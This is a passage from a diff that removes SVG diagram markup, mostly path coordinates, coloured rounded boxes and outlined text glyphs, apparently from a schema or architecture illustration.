403.96796,273.80045 C403.96796,275.435867 403.603377,276.711908 402.87421,277.628575 C402.145044,278.534825 401.129419,278.98795 399.827335,278.98795 Z M399.608585,269.92545 C398.587752,269.92545 397.848169,270.2067 397.389835,270.7692 C396.941919,271.3317 396.707544,272.227533 396.68671,273.4567 L396.68671,273.80045 C396.68671,275.2067 396.921085,276.211908 397.389835,276.816075 C397.858585,277.420242 398.608585,277.722325 399.639835,277.722325 C400.504419,277.722325 401.181502,277.373367 401.671085,276.67545 C402.160669,275.977533 402.40546,275.013992 402.40546,273.784825 C402.40546,272.534825 402.160669,271.5817 401.671085,270.92545 C401.181502,270.258783 400.494002,269.92545 399.608585,269.92545 Z M410.837894,278.98795 C409.358728,278.98795 408.192061,278.540033 407.337894,277.6442 C406.483728,276.73795 406.056644,275.48795 406.056644,273.8942 C406.056644,272.279617 406.452478,270.998367 407.244144,270.05045 C408.035811,269.102533 409.098311,268.628575 410.431644,268.628575 C411.692061,268.628575 412.681644,269.040033 413.400394,269.86295 C414.129561,270.685867 414.494144,271.774408 414.494144,273.128575 L414.494144,274.0817 L407.619144,274.0817 C407.650394,275.258783 407.947269,276.149408 408.509769,276.753575 C409.072269,277.357742 409.863936,277.659825 410.884769,277.659825 C411.957686,277.659825 413.020186,277.435867 414.072269,276.98795 L414.072269,278.3317 C413.541019,278.560867 413.035811,278.727533 412.556644,278.8317 C412.077478,278.935867 411.504561,278.98795 410.837894,278.98795 Z M410.416019,269.8942 C409.613936,269.8942 408.973311,270.159825 408.494144,270.691075 C408.025394,271.211908 407.749353,271.930658 407.666019,272.847325 L412.884769,272.847325 C412.884769,271.899408 412.671228,271.170242 412.244144,270.659825 C411.817061,270.149408 411.207686,269.8942 410.416019,269.8942 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.004761,489.816528 272.004761,481.568329 L272.00476,421.83142 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.004761,489.816528 272.004761,481.568329 L272.00476,421.83142 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,435.08157 L343.8936,435.284695 C343.622767,436.274278 343.127975,437.045112 342.409225,437.597195 C341.690475,438.138862 340.7686,438.409695 339.6436,438.409695 C338.226933,438.409695 337.101933,437.977403 336.2686,437.11282 C335.445683,436.23782 335.034225,435.013862 335.034225,433.440945 C335.034225,431.805528 335.450892,430.539903 336.284225,429.64407 C337.127975,428.748237 338.216517,428.30032 339.54985,428.30032 C340.841517,428.30032 341.8936,428.743028 342.7061,429.628445 C343.529017,430.503445 343.940475,431.73782 343.940475,433.33157 C343.940475,433.435737 343.940475,433.58157 343.940475,433.76907 L336.721725,433.76907 C336.784225,434.83157 337.086308,435.649278 337.627975,436.222195 C338.169642,436.784695 338.841517,437.065945 339.6436,437.065945 C340.247767,437.065945 340.763392,436.909695 341.190475,436.597195 C341.617558,436.274278 341.9561,435.76907 342.2061,435.08157 Z M336.815475,432.42532 L342.221725,432.42532 C342.148808,431.61282 341.940475,431.003445 341.596725,430.597195 C341.075892,429.961778 340.398808,429.64407 339.565475,429.64407 C338.815475,429.64407 338.180058,429.899278 337.659225,430.409695 C337.148808,430.909695 336.867558,431.58157 336.815475,432.42532 Z M352.284927,438.190945 L352.284927,436.76907 C351.534927,437.86282 350.514094,438.409695 349.222427,438.409695 C348.64951,438.409695 348.113052,438.30032 347.613052,438.08157 C347.123469,437.86282 346.758885,437.586778 346.519302,437.253445 C346.279719,436.920112 346.113052,436.513862 346.019302,436.034695 C345.946385,435.722195 345.909927,435.211778 345.909927,434.503445 L345.909927,428.51907 L347.550552,428.51907 L347.550552,433.878445 C347.550552,434.732612 347.58701,435.310737 347.659927,435.61282 C347.764094,436.039903 347.982844,436.378445 348.316177,436.628445 C348.64951,436.878445 349.060969,437.003445 349.550552,437.003445 C350.040135,437.003445 350.498469,436.878445 350.925552,436.628445 C351.363052,436.368028 351.670344,436.024278 351.847427,435.597195 C352.02451,435.159695 352.113052,434.529487 352.113052,433.70657 L352.113052,428.51907 L353.753677,428.51907 L353.753677,438.190945 L352.284927,438.190945 Z M364.488784,436.61282 L364.488784,438.190945 L355.660659,438.190945 C355.650242,437.795112 355.712742,437.414903 355.848159,437.05032 C356.077326,436.446153 356.436701,435.852403 356.926284,435.26907 C357.426284,434.685737 358.145034,434.013862 359.082534,433.253445 C360.530451,432.065945 361.509617,431.123237 362.020034,430.42532 C362.530451,429.727403 362.785659,429.071153 362.785659,428.45657 C362.785659,427.80032 362.551284,427.253445 362.082534,426.815945 C361.624201,426.368028 361.020034,426.14407 360.270034,426.14407 C359.478367,426.14407 358.842951,426.383653 358.363784,426.86282 C357.895034,427.33157 357.660659,427.982612 357.660659,428.815945 L355.973159,428.64407 C356.087742,427.383653 356.520034,426.42532 357.270034,425.76907 C358.030451,425.11282 359.040867,424.784695 360.301284,424.784695 C361.582534,424.784695 362.598159,425.138862 363.348159,425.847195 C364.098159,426.555528 364.473159,427.435737 364.473159,428.48782 C364.473159,429.01907 364.363784,429.545112 364.145034,430.065945 C363.926284,430.586778 363.561701,431.133653 363.051284,431.70657 C362.551284,432.26907 361.707534,433.05032 360.520034,434.05032 C359.540867,434.873237 358.910659,435.435737 358.629409,435.73782 C358.348159,436.029487 358.118992,436.321153 357.941909,436.61282 L364.488784,436.61282 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.004761,386.18834 272.004761,377.940141 L272.00476,318.2032 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.004761,386.18834 272.004761,377.940141 L272.00476,318.2032 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,331.45334 L343.8936,331.656465 C343.622767,332.646048 343.127975,333.416882 342.409225,333.968965 C341.690475,334.510632 340.7686,334.781465 339.6436,334.781465 C338.226933,334.781465 337.101933,334.349173 336.2686,333.48459 C335.445683,332.60959 335.034225,331.385632 335.034225,329.812715 C335.034225,328.177298 335.450892,326.911673 336.284225,326.01584 C337.127975,325.120007 338.216517,324.67209 339.54985,324.67209 C340.841517,324.67209 341.8936,325.114798 342.7061,326.000215 C343.529017,326.875215 343.940475,328.10959 343.940475,329.70334 C343.940475,329.807507 343.940475,329.95334 343.940475,330.14084 L336.721725,330.14084 C336.784225,331.20334 337.086308,332.021048 337.627975,332.593965 C338.169642,333.156465 338.841517,333.437715 339.6436,333.437715 C340.247767,333.437715 340.763392,333.281465 341.190475,332.968965 C341.617558,332.646048 341.9561,332.14084 342.2061,331.45334 Z M336.815475,328.79709 L342.221725,328.79709 C342.148808,327.98459 341.940475,327.375215 341.596725,326.968965 C341.075892,326.333548 340.398808,326.01584 339.565475,326.01584 C338.815475,326.01584 338.180058,326.271048 337.659225,326.781465 C337.148808,327.281465 336.867558,327.95334 336.815475,328.79709 Z M352.284927,334.562715 L352.284927,333.14084 C351.534927,334.23459 350.514094,334.781465 349.222427,334.781465 C348.64951,334.781465 348.113052,334.67209 347.613052,334.45334 C347.123469,334.23459 346.758885,333.958548 346.519302,333.625215 C346.279719,333.291882 346.113052,332.885632 346.019302,332.406465 C345.946385,332.093965 345.909927,331.583548 345.909927,330.875215 L345.909927,324.89084 L347.550552,324.89084 L347.550552,330.250215 C347.550552,331.104382 347.58701,331.682507 347.659927,331.98459 C347.764094,332.411673 347.982844,332.750215 348.316177,333.000215 C348.64951,333.250215 349.060969,333.375215 349.550552,333.375215 C350.040135,333.375215 350.498469,333.250215 350.925552,333.000215 C351.363052,332.739798 351.670344,332.396048 351.847427,331.968965 C352.02451,331.531465 352.113052,330.901257 352.113052,330.07834 L352.113052,324.89084 L353.753677,324.89084 L353.753677,334.562715 L352.284927,334.562715 Z M362.051284,334.562715 L360.410659,334.562715 L360.410659,324.10959 C360.014826,324.48459 359.493992,324.864798 358.848159,325.250215 C358.212742,325.625215 357.639826,325.906465 357.129409,326.093965 L357.129409,324.500215 C358.046076,324.073132 358.848159,323.552298 359.535659,322.937715 C360.223159,322.323132 360.707534,321.729382 360.988784,321.156465 L362.051284,321.156465 L362.051284,334.562715 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M354.16272,353.5403 L354.16272,353.5403 C354.16272,349.733659 357.248627,346.647783 361.055268,346.647783 L410.766268,346.647783 C412.59427,346.647783 414.347414,347.373949 415.640017,348.666551 C416.932619,349.959154 417.658785,351.712297 417.658785,353.5403 L417.658785,381.109575 C417.658785,384.916216 414.572908,388.002123 410.766268,388.002123 L361.055268,388.002123 C357.248627,388.002123 354.16272,384.916216 354.16272,381.109575 L354.16272,353.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,366.87247 L367.85217,355.388095 L369.13342,355.388095 L369.13342,356.46622 C369.435503,356.039137 369.774045,355.721428 370.149045,355.513095 C370.534462,355.304762 370.998003,355.200595 371.53967,355.200595 C372.248003,355.200595 372.873003,355.382887 373.41467,355.74747 C373.956337,356.112053 374.362587,356.627678 374.63342,357.294345 C374.91467,357.950595 375.055295,358.674553 375.055295,359.46622 C375.055295,360.320387 374.899045,361.086012 374.586545,361.763095 C374.284462,362.440178 373.841753,362.961012 373.25842,363.325595 C372.685503,363.690178 372.076128,363.87247 371.430295,363.87247 C370.961545,363.87247 370.53967,363.773512 370.16467,363.575595 C369.800087,363.377678 369.498003,363.127678 369.25842,362.825595 L369.25842,366.87247 L367.85217,366.87247 Z M369.117795,359.575595 C369.117795,360.648512 369.331337,361.440178 369.75842,361.950595 C370.19592,362.461012 370.721962,362.71622 371.336545,362.71622 C371.961545,362.71622 372.498003,362.450595 372.94592,361.919345 C373.393837,361.388095 373.617795,360.570387 373.617795,359.46622 C373.617795,358.40372 373.399045,357.612053 372.961545,357.09122 C372.524045,356.55997 372.003212,356.294345 371.399045,356.294345 C370.805295,356.294345 370.274045,356.575595 369.805295,357.138095 C369.346962,357.700595 369.117795,358.513095 369.117795,359.575595 Z M376.219358,359.52872 C376.219358,357.99747 376.646441,356.862053 377.500608,356.12247 C378.219358,355.507887 379.089149,355.200595 380.109983,355.200595 C381.255816,355.200595 382.188108,355.575595 382.906858,356.325595 C383.636024,357.065178 384.000608,358.096428 384.000608,359.419345 C384.000608,360.481845 383.839149,361.320387 383.516233,361.93497 C383.193316,362.549553 382.724566,363.02872 382.109983,363.37247 C381.505816,363.705803 380.839149,363.87247 380.109983,363.87247 C378.953733,363.87247 378.016233,363.502678 377.297483,362.763095 C376.578733,362.013095 376.219358,360.93497 376.219358,359.52872 Z M377.672483,359.52872 C377.672483,360.59122 377.901649,361.388095 378.359983,361.919345 C378.828733,362.450595 379.412066,362.71622 380.109983,362.71622 C380.807899,362.71622 381.386024,362.450595 381.844358,361.919345 C382.313108,361.388095 382.547483,360.575595 382.547483,359.481845 C382.547483,358.461012 382.313108,357.68497 381.844358,357.15372 C381.386024,356.62247 380.807899,356.356845 380.109983,356.356845 C379.412066,356.356845 378.828733,356.62247 378.359983,357.15372 C377.901649,357.674553 377.672483,358.46622 377.672483,359.52872 Z M385.086545,361.200595 L386.47717,360.981845 C386.550087,361.544345 386.763628,361.976637 387.117795,362.27872 C387.482378,362.570387 387.982378,362.71622 388.617795,362.71622 C389.263628,362.71622 389.742795,362.586012 390.055295,362.325595 C390.367795,362.054762 390.524045,361.742262 390.524045,361.388095 C390.524045,361.075595 390.388628,360.825595 390.117795,360.638095 C389.919878,360.513095 389.440712,360.356845 388.680295,360.169345 C387.649045,359.908928 386.930295,359.68497 386.524045,359.49747 C386.128212,359.299553 385.826128,359.033928 385.617795,358.700595 C385.419878,358.367262 385.32092,357.99747 385.32092,357.59122 C385.32092,357.21622 385.404253,356.87247 385.57092,356.55997 C385.737587,356.24747 385.966753,355.987053 386.25842,355.77872 C386.47717,355.612053 386.774045,355.476637 387.149045,355.37247 C387.534462,355.257887 387.940712,355.200595 388.367795,355.200595 C389.024045,355.200595 389.596962,355.294345 390.086545,355.481845 C390.576128,355.669345 390.935503,355.924553 391.16467,356.24747 C391.404253,356.55997 391.57092,356.987053 391.66467,357.52872 L390.28967,357.71622 C390.22717,357.289137 390.044878,356.955803 389.742795,356.71622 C389.440712,356.476637 389.018837,356.356845 388.47717,356.356845 C387.831337,356.356845 387.367795,356.46622 387.086545,356.68497 C386.815712,356.893303 386.680295,357.138095 386.680295,357.419345 C386.680295,357.606845 386.737587,357.773512 386.85217,357.919345 C386.966753,358.065178 387.143837,358.190178 387.38342,358.294345 C387.529253,358.346428 387.94592,358.46622 388.63342,358.65372 C389.623003,358.914137 390.315712,359.132887 390.711545,359.30997 C391.107378,359.476637 391.41467,359.721428 391.63342,360.044345 C391.862587,360.367262 391.97717,360.768303 391.97717,361.24747 C391.97717,361.71622 391.836545,362.158928 391.555295,362.575595 C391.284462,362.981845 390.888628,363.299553 390.367795,363.52872 C389.857378,363.757887 389.279253,363.87247 388.63342,363.87247 C387.550087,363.87247 386.72717,363.648512 386.16467,363.200595 C385.60217,362.752678 385.242795,362.086012 385.086545,361.200595 Z M396.711545,362.419345 L396.91467,363.669345 C396.518837,363.752678 396.16467,363.794345 395.85217,363.794345 C395.341753,363.794345 394.94592,363.71622 394.66467,363.55997 C394.38342,363.393303 394.185503,363.179762 394.07092,362.919345 C393.956337,362.648512 393.899045,362.09122 393.899045,361.24747 L393.899045,356.481845 L392.867795,356.481845 L392.867795,355.388095 L393.899045,355.388095 L393.899045,353.325595 L395.305295,352.481845 L395.305295,355.388095 L396.711545,355.388095 L396.711545,356.481845 L395.305295,356.481845 L395.305295,361.325595 C395.305295,361.731845 395.326128,361.992262 395.367795,362.106845 C395.419878,362.221428 395.503212,362.315178 395.617795,362.388095 C395.732378,362.450595 395.893837,362.481845 396.10217,362.481845 C396.25842,362.481845 396.461545,362.461012 396.711545,362.419345 Z M397.531858,361.200595 L398.922483,360.981845 C398.995399,361.544345 399.208941,361.976637 399.563108,362.27872 C399.927691,362.570387 400.427691,362.71622 401.063108,362.71622 C401.708941,362.71622 402.188108,362.586012 402.500608,362.325595 C402.813108,362.054762 402.969358,361.742262 402.969358,361.388095 C402.969358,361.075595 402.833941,360.825595 402.563108,360.638095 C402.365191,360.513095 401.886024,360.356845 401.125608,360.169345 C400.094358,359.908928 399.375608,359.68497 398.969358,359.49747 C398.573524,359.299553 398.271441,359.033928 398.063108,358.700595 C397.865191,358.367262 397.766233,357.99747 397.766233,357.59122 C397.766233,357.21622 397.849566,356.87247 398.016233,356.55997 C398.182899,356.24747 398.412066,355.987053 398.703733,355.77872 C398.922483,355.612053 399.219358,355.476637 399.594358,355.37247 C399.979774,355.257887 400.386024,355.200595 400.813108,355.200595 C401.469358,355.200595 402.042274,355.294345 402.531858,355.481845 C403.021441,355.669345 403.380816,355.924553 403.609983,356.24747 C403.849566,356.55997 404.016233,356.987053 404.109983,357.52872 L402.734983,357.71622 C402.672483,357.289137 402.490191,356.955803 402.188108,356.71622 C401.886024,356.476637 401.464149,356.356845 400.922483,356.356845 C400.276649,356.356845 399.813108,356.46622 399.531858,356.68497 C399.261024,356.893303 399.125608,357.138095 399.125608,357.419345 C399.125608,357.606845 399.182899,357.773512 399.297483,357.919345 C399.412066,358.065178 399.589149,358.190178 399.828733,358.294345 C399.974566,358.346428 400.391233,358.46622 401.078733,358.65372 C402.068316,358.914137 402.761024,359.132887 403.156858,359.30997 C403.552691,359.476637 403.859983,359.721428 404.078733,360.044345 C404.307899,360.367262 404.422483,360.768303 404.422483,361.24747 C404.422483,361.71622 404.281858,362.158928 404.000608,362.575595 C403.729774,362.981845 403.333941,363.299553 402.813108,363.52872 C402.302691,363.757887 401.724566,363.87247 401.078733,363.87247 C399.995399,363.87247 399.172483,363.648512 398.609983,363.200595 C398.047483,362.752678 397.688108,362.086012 397.531858,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M382.09436,382.68497 L380.68811,382.68497 L380.68811,373.71622 C380.34436,374.039137 379.896443,374.362053 379.34436,374.68497 C378.802693,375.007887 378.31311,375.252678 377.87561,375.419345 L377.87561,374.05997 C378.65686,373.68497 379.339152,373.237053 379.922485,372.71622 C380.516235,372.18497 380.93811,371.674553 381.18811,371.18497 L382.09436,371.18497 L382.09436,382.68497 Z M386.258422,382.68497 L386.258422,371.231845 L390.586547,371.231845 C391.346964,371.231845 391.925089,371.268303 392.320922,371.34122 C392.883422,371.43497 393.352172,371.612053 393.727172,371.87247 C394.112589,372.132887 394.419881,372.502678 394.649047,372.981845 C394.888631,373.450595 395.008422,373.971428 395.008422,374.544345 C395.008422,375.513095 394.695922,376.336012 394.070922,377.013095 C393.456339,377.690178 392.336547,378.02872 390.711547,378.02872 L387.774047,378.02872 L387.774047,382.68497 L386.258422,382.68497 Z M387.774047,376.669345 L390.742797,376.669345 C391.721964,376.669345 392.414672,376.487053 392.820922,376.12247 C393.237589,375.757887 393.445922,375.24747 393.445922,374.59122 C393.445922,374.112053 393.320922,373.700595 393.070922,373.356845 C392.831339,373.013095 392.513631,372.789137 392.117797,372.68497 C391.867797,372.612053 391.399047,372.575595 390.711547,372.575595 L387.774047,372.575595 L387.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,353.5403 L282.16272,353.5403 C282.16272,349.733659 285.248627,346.647783 289.055268,346.647783 L338.766268,346.647783 C340.59427,346.647783 342.347414,347.373949 343.640017,348.666551 C344.932619,349.959154 345.658785,351.712297 345.658785,353.5403 L345.658785,381.109575 C345.658785,384.916216 342.572908,388.002123 338.766268,388.002123 L289.055268,388.002123 C285.248627,388.002123 282.16272,384.916216 282.16272,381.109575 L282.16272,353.5403 Z" id="Path" fill="#F04E98"></path>
-                <path d="M300.84827,363.68497 L300.84827,362.46622 C300.202437,363.40372 299.322228,363.87247 298.207645,363.87247 C297.718062,363.87247 297.259728,363.77872 296.832645,363.59122 C296.415978,363.40372 296.103478,363.169345 295.895145,362.888095 C295.686812,362.596428 295.540978,362.24747 295.457645,361.84122 C295.405562,361.55997 295.37952,361.12247 295.37952,360.52872 L295.37952,355.388095 L296.78577,355.388095 L296.78577,359.981845 C296.78577,360.721428 296.811812,361.21622 296.863895,361.46622 C296.957645,361.84122 297.145145,362.132887 297.426395,362.34122 C297.718062,362.549553 298.072228,362.65372 298.488895,362.65372 C298.915978,362.65372 299.311812,362.549553 299.676395,362.34122 C300.051395,362.12247 300.311812,361.825595 300.457645,361.450595 C300.613895,361.075595 300.69202,360.533928 300.69202,359.825595 L300.69202,355.388095 L302.09827,355.388095 L302.09827,363.68497 L300.84827,363.68497 Z M303.746708,361.200595 L305.137333,360.981845 C305.210249,361.544345 305.423791,361.976637 305.777958,362.27872 C306.142541,362.570387 306.642541,362.71622 307.277958,362.71622 C307.923791,362.71622 308.402958,362.586012 308.715458,362.325595 C309.027958,362.054762 309.184208,361.742262 309.184208,361.388095 C309.184208,361.075595 309.048791,360.825595 308.777958,360.638095 C308.580041,360.513095 308.100874,360.356845 307.340458,360.169345 C306.309208,359.908928 305.590458,359.68497 305.184208,359.49747 C304.788374,359.299553 304.486291,359.033928 304.277958,358.700595 C304.080041,358.367262 303.981083,357.99747 303.981083,357.59122 C303.981083,357.21622 304.064416,356.87247 304.231083,356.55997 C304.397749,356.24747 304.626916,355.987053 304.918583,355.77872 C305.137333,355.612053 305.434208,355.476637 305.809208,355.37247 C306.194624,355.257887 306.600874,355.200595 307.027958,355.200595 C307.684208,355.200595 308.257124,355.294345 308.746708,355.481845 C309.236291,355.669345 309.595666,355.924553 309.824833,356.24747 C310.064416,356.55997 310.231083,356.987053 310.324833,357.52872 L308.949833,357.71622 C308.887333,357.289137 308.705041,356.955803 308.402958,356.71622 C308.100874,356.476637 307.678999,356.356845 307.137333,356.356845 C306.491499,356.356845 306.027958,356.46622 305.746708,356.68497 C305.475874,356.893303 305.340458,357.138095 305.340458,357.419345 C305.340458,357.606845 305.397749,357.773512 305.512333,357.919345 C305.626916,358.065178 305.803999,358.190178 306.043583,358.294345 C306.189416,358.346428 306.606083,358.46622 307.293583,358.65372 C308.283166,358.914137 308.975874,359.132887 309.371708,359.30997 C309.767541,359.476637 310.074833,359.721428 310.293583,360.044345 C310.522749,360.367262 310.637333,360.768303 310.637333,361.24747 C310.637333,361.71622 310.496708,362.158928 310.215458,362.575595 C309.944624,362.981845 309.548791,363.299553 309.027958,363.52872 C308.517541,363.757887 307.939416,363.87247 307.293583,363.87247 C306.210249,363.87247 305.387333,363.648512 304.824833,363.200595 C304.262333,362.752678 303.902958,362.086012 303.746708,361.200595 Z M317.981083,361.013095 L319.434208,361.18497 C319.205041,362.039137 318.777958,362.700595 318.152958,363.169345 C317.538374,363.638095 316.751916,363.87247 315.793583,363.87247 C314.574833,363.87247 313.611291,363.49747 312.902958,362.74747 C312.194624,361.99747 311.840458,360.950595 311.840458,359.606845 C311.840458,358.211012 312.199833,357.127678 312.918583,356.356845 C313.637333,355.586012 314.569624,355.200595 315.715458,355.200595 C316.819624,355.200595 317.720666,355.580803 318.418583,356.34122 C319.126916,357.09122 319.481083,358.148512 319.481083,359.513095 C319.481083,359.596428 319.481083,359.721428 319.481083,359.888095 L313.293583,359.888095 C313.345666,360.804762 313.600874,361.507887 314.059208,361.99747 C314.527958,362.476637 315.106083,362.71622 315.793583,362.71622 C316.314416,362.71622 316.757124,362.580803 317.121708,362.30997 C317.486291,362.039137 317.772749,361.606845 317.981083,361.013095 Z M313.371708,358.731845 L317.996708,358.731845 C317.934208,358.033928 317.757124,357.513095 317.465458,357.169345 C317.017541,356.627678 316.439416,356.356845 315.731083,356.356845 C315.085249,356.356845 314.538374,356.575595 314.090458,357.013095 C313.652958,357.440178 313.413374,358.013095 313.371708,358.731845 Z M321.19202,363.68497 L321.19202,355.388095 L322.457645,355.388095 L322.457645,356.638095 C322.780562,356.054762 323.077437,355.669345 323.34827,355.481845 C323.619103,355.294345 323.921187,355.200595 324.25452,355.200595 C324.72327,355.200595 325.202437,355.351637 325.69202,355.65372 L325.207645,356.950595 C324.863895,356.752678 324.520145,356.65372 324.176395,356.65372 C323.874312,356.65372 323.59827,356.74747 323.34827,356.93497 C323.108687,357.112053 322.936812,357.367262 322.832645,357.700595 C322.676395,358.200595 322.59827,358.74747 322.59827,359.34122 L322.59827,363.68497 L321.19202,363.68497 Z M325.97327,361.200595 L327.363895,360.981845 C327.436812,361.544345 327.650353,361.976637 328.00452,362.27872 C328.369103,362.570387 328.869103,362.71622 329.50452,362.71622 C330.150353,362.71622 330.62952,362.586012 330.94202,362.325595 C331.25452,362.054762 331.41077,361.742262 331.41077,361.388095 C331.41077,361.075595 331.275353,360.825595 331.00452,360.638095 C330.806603,360.513095 330.327437,360.356845 329.56702,360.169345 C328.53577,359.908928 327.81702,359.68497 327.41077,359.49747 C327.014937,359.299553 326.712853,359.033928 326.50452,358.700595 C326.306603,358.367262 326.207645,357.99747 326.207645,357.59122 C326.207645,357.21622 326.290978,356.87247 326.457645,356.55997 C326.624312,356.24747 326.853478,355.987053 327.145145,355.77872 C327.363895,355.612053 327.66077,355.476637 328.03577,355.37247 C328.421187,355.257887 328.827437,355.200595 329.25452,355.200595 C329.91077,355.200595 330.483687,355.294345 330.97327,355.481845 C331.462853,355.669345 331.822228,355.924553 332.051395,356.24747 C332.290978,356.55997 332.457645,356.987053 332.551395,357.52872 L331.176395,357.71622 C331.113895,357.289137 330.931603,356.955803 330.62952,356.71622 C330.327437,356.476637 329.905562,356.356845 329.363895,356.356845 C328.718062,356.356845 328.25452,356.46622 327.97327,356.68497 C327.702437,356.893303 327.56702,357.138095 327.56702,357.419345 C327.56702,357.606845 327.624312,357.773512 327.738895,357.919345 C327.853478,358.065178 328.030562,358.190178 328.270145,358.294345 C328.415978,358.346428 328.832645,358.46622 329.520145,358.65372 C330.509728,358.914137 331.202437,359.132887 331.59827,359.30997 C331.994103,359.476637 332.301395,359.721428 332.520145,360.044345 C332.749312,360.367262 332.863895,360.768303 332.863895,361.24747 C332.863895,361.71622 332.72327,362.158928 332.44202,362.575595 C332.171187,362.981845 331.775353,363.299553 331.25452,363.52872 C330.744103,363.757887 330.165978,363.87247 329.520145,363.87247 C328.436812,363.87247 327.613895,363.648512 327.051395,363.200595 C326.488895,362.752678 326.12952,362.086012 325.97327,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M310.09436,382.68497 L308.68811,382.68497 L308.68811,373.71622 C308.34436,374.039137 307.896443,374.362053 307.34436,374.68497 C306.802693,375.007887 306.31311,375.252678 305.87561,375.419345 L305.87561,374.05997 C306.65686,373.68497 307.339152,373.237053 307.922485,372.71622 C308.516235,372.18497 308.93811,371.674553 309.18811,371.18497 L310.09436,371.18497 L310.09436,382.68497 Z M314.258422,382.68497 L314.258422,371.231845 L318.586547,371.231845 C319.346964,371.231845 319.925089,371.268303 320.320922,371.34122 C320.883422,371.43497 321.352172,371.612053 321.727172,371.87247 C322.112589,372.132887 322.419881,372.502678 322.649047,372.981845 C322.888631,373.450595 323.008422,373.971428 323.008422,374.544345 C323.008422,375.513095 322.695922,376.336012 322.070922,377.013095 C321.456339,377.690178 320.336547,378.02872 318.711547,378.02872 L315.774047,378.02872 L315.774047,382.68497 L314.258422,382.68497 Z M315.774047,376.669345 L318.742797,376.669345 C319.721964,376.669345 320.414672,376.487053 320.820922,376.12247 C321.237589,375.757887 321.445922,375.24747 321.445922,374.59122 C321.445922,374.112053 321.320922,373.700595 321.070922,373.356845 C320.831339,373.013095 320.513631,372.789137 320.117797,372.68497 C319.867797,372.612053 319.399047,372.575595 318.711547,372.575595 L315.774047,372.575595 L315.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M354.16272,457.5403 L354.16272,457.5403 C354.16272,453.733659 357.248627,450.647783 361.055268,450.647783 L410.766268,450.647783 C412.59427,450.647783 414.347414,451.373949 415.640017,452.666551 C416.932619,453.959154 417.658785,455.712297 417.658785,457.5403 L417.658785,485.109575 C417.658785,488.916216 414.572908,492.002123 410.766268,492.002123 L361.055268,492.002123 C357.248627,492.002123 354.16272,488.916216 354.16272,485.109575 L354.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,470.87247 L367.85217,459.388095 L369.13342,459.388095 L369.13342,460.46622 C369.435503,460.039137 369.774045,459.721428 370.149045,459.513095 C370.534462,459.304762 370.998003,459.200595 371.53967,459.200595 C372.248003,459.200595 372.873003,459.382887 373.41467,459.74747 C373.956337,460.112053 374.362587,460.627678 374.63342,461.294345 C374.91467,461.950595 375.055295,462.674553 375.055295,463.46622 C375.055295,464.320387 374.899045,465.086012 374.586545,465.763095 C374.284462,466.440178 373.841753,466.961012 373.25842,467.325595 C372.685503,467.690178 372.076128,467.87247 371.430295,467.87247 C370.961545,467.87247 370.53967,467.773512 370.16467,467.575595 C369.800087,467.377678 369.498003,467.127678 369.25842,466.825595 L369.25842,470.87247 L367.85217,470.87247 Z M369.117795,463.575595 C369.117795,464.648512 369.331337,465.440178 369.75842,465.950595 C370.19592,466.461012 370.721962,466.71622 371.336545,466.71622 C371.961545,466.71622 372.498003,466.450595 372.94592,465.919345 C373.393837,465.388095 373.617795,464.570387 373.617795,463.46622 C373.617795,462.40372 373.399045,461.612053 372.961545,461.09122 C372.524045,460.55997 372.003212,460.294345 371.399045,460.294345 C370.805295,460.294345 370.274045,460.575595 369.805295,461.138095 C369.346962,461.700595 369.117795,462.513095 369.117795,463.575595 Z M376.219358,463.52872 C376.219358,461.99747 376.646441,460.862053 377.500608,460.12247 C378.219358,459.507887 379.089149,459.200595 380.109983,459.200595 C381.255816,459.200595 382.188108,459.575595 382.906858,460.325595 C383.636024,461.065178 384.000608,462.096428 384.000608,463.419345 C384.000608,464.481845 383.839149,465.320387 383.516233,465.93497 C383.193316,466.549553 382.724566,467.02872 382.109983,467.37247 C381.505816,467.705803 380.839149,467.87247 380.109983,467.87247 C378.953733,467.87247 378.016233,467.502678 377.297483,466.763095 C376.578733,466.013095 376.219358,464.93497 376.219358,463.52872 Z M377.672483,463.52872 C377.672483,464.59122 377.901649,465.388095 378.359983,465.919345 C378.828733,466.450595 379.412066,466.71622 380.109983,466.71622 